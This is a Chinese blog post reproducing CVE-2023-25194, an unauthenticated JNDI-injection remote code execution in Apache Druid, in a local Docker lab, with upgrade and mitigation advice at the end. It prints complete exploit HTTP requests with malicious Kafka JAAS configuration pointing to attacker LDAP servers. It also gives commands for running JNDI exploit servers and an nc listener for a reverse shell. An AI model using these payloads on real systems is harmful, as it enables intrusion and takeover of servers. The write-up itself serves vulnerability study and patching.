Apache Druid RCE漏洞复现及修复(CVE-2023-25194)

2023-03-16

声明:本文分享的安全工具和项目均来源于网络,漏洞环境本地搭建,仅供安全研究与学习,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

瓜神学习网络安全

本公众号记录网络安全学习笔记
公众号

产品简介

Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。

漏洞简介

在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)

 

影响范围

  • 0.19.0 <= Apache Druid <= 25.0.0

危害级别

  • CVE-2023-25194

    QVD-2023-9629

漏洞复现

安装环境-docker部署

用的github 的vulhub:

https://github.com/vulhub/vulhub/blob/master/kafka/CVE-2023-25194/README.zh-cn.md

执行如下命令启动一个Apache Druid 25.0.0服务,其内部使用的kafka-clients版本是3.3.1:

[root@VM-4-17-centos CVE-2023-25194]# docker-compose up -dStarting cve202325194_web_1 ... done[root@VM-4-17-centos CVE-2023-25194]#

服务启动后,访问http://your-ip:8888即可查看到Apache Druid主页。

复现步骤1、检测:访问漏洞环境:


抓包

dnslog检测:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: vps:8888Content-Length: 1400Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Content-Type: application/jsonOrigin: http://vps:8888Referer: http://vps:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: pZaf_2132_ulastactivity=050484OuqAxDqETcOja26QKgFkE4HbrlSk4NbAkGRg9oNLIbkCUN; pZaf_2132_nofavfid=1; pZaf_2132_smile=1D1; pZaf_2132_home_readfeed=1682214968; pZaf_2132_lastviewtime=1%7C1682215445; pZaf_2132_lastcheckfeed=1%7C1682217817; kOJf_2132_saltkey=MGWItu8r; kOJf_2132_lastvisit=1683339017; kOJf_2132_ulastactivity=27e4qsFumyqDRGo03vcLLEHChJmZRharD1jfbUJnU1NIIIrbB8UL; kOJf_2132_nofavfid=1; kOJf_2132_lastcheckfeed=1%7C1683342726; PHPSESSID=3543e022151ed94117e84216Connection: close
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://nhagk5.dnslog.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

2、利用:首先,使用JNDIExploit启动一个恶意的JNDI服务器:


[root@VM-4-17-centos JNDIExploit1.4]# java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i your vps ip[+] LDAP Server Start Listening on 1389...[+] HTTP Server Start Listening on 3456...

2.1命令执行:/touch shell.txt

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host:192.168.211.129:8888Accept-Encoding: gzip, deflateAccept: */*cmd:lsAccept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1434
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.211.129:1389/Basic/Command/touch shell.txt\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

进入容器查看命令执行成功

docker exec -it 1e453483411a   /bin/bash

getshell:

启用监听

nc-lvvp 8111

使用NDI-Injection-Exploit启动一个恶意的JNDI服务器:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反射shell命令(需要bash编码)"  -A ip

反弹shell成功

修复建议

目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。

暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

工具原链接

https://github.com/welk1n/JNDI-Injection-Exploit

关注公众号回复“JNDI-Injection-Exploit”可下载jdk1.8编译后的jar包

Apache Druid RCE漏洞复现及修复(CVE-2023-25194)的更多相关文章

  1. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  2. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

  7. Apache Tomcat Ajp-CVE-2020-1938漏洞复现

    环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009  ...

  8. [Shell]CVE-2019-0708漏洞复现及修复补丁

    0x01 漏洞原理 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003.windows2008.windows2008 R2.windows 7 ...

  9. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  10. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

随机推荐

  1. 从理念到实践,解构HBlock降本增效黑科技!

    "新存储  更轻量" 天翼云存储资源盘活系统HBlock 2024年线上技术分享会来啦! 在2023年HBlock分享会之后 不少小伙伴积极参与了1PB免费尝鲜活动 好评如潮的同时 ...

  2. CDN与前端技术

    本文分享自天翼云开发者社区<CDN与前端技术>,作者:张****亮 CDN(Content Delivery Network)是一种广泛应用于网络加速和内容分发的技术.它通过在全球各地部署 ...

  3. Linux下普通用户免密切换root

    问题需求: Linux下普通用户doge免密切换root 问题解决: Linux下普通用户切换到root用户下,默认情况是需要输入密码很不方便,因此需要实现普通用户doge免密切换到root用户. 示 ...

  4. Luogu P1983 车站分级 题解 [ 绿 ] [ 拓扑排序 ] [ 图论建模 ] [ 虚点 ]

    车站分级:很好的拓扑排序题,细节有点多. 图论建模 首先观察对于一条线路,我们可以从中直接得到什么信息: 假设这条线路的开头为 \(st\),结尾为 \(ed\),那么在 \([st,ed]\) 的车 ...

  5. MD5 - windows也可以查询某个文件的MD5码

    命令格式 certutil -hashfile 文件名称 md5 示例 Microsoft Windows [版本 10.0.22621.1702] (c) Microsoft Corporation ...

  6. 机器学习 | 强化学习(1) | 马尔科夫决策过程(MDP)概论

    最近在搞强化学习(Reinforcement Learning),打算把之前写的笔记整理一下 本文基于大卫 希尔维(David Silver)教授的强化学习概论课程,视频中所采用的样例学生马尔科夫链( ...

  7. Keepalived学习,双主热备高可用

    双主热备可以看做双机主备的升级(双机主备链接 https://www.cnblogs.com/hmxs/p/12041735.html),它是为了让两台设备都能提供服务,而不是主节点正常时,备用节点一 ...

  8. 使用电阻网络实现的vga驱动电路,fpga驱动vga显示器验证,代替gm7123芯片

    之前驱动vga,要么是直接使用fpga管脚直接驱动,颜色为8原色 使用线缆 vs,hs,r,g,b一共五根线,三原色要么是0要么是1,所以色彩最多8种,rgb组合 若要实现真彩色驱动,如rgb888, ...

  9. 【问题】抓取微信公众号文章 特殊字符(&#65279;)问题

    最初对抓取的文章处理使用正则表达式统一处理,代码如下: Regex regex_p = new Regex(@"<p>\s*</p>", RegexOpti ...

  10. 【Python】一键提取inp文件结构的脚本

    inp=input("输入文件路径:") # print(type(inp)) ex_txt=inp+'-Struct.inp' inp=inp+'.inp' import re ...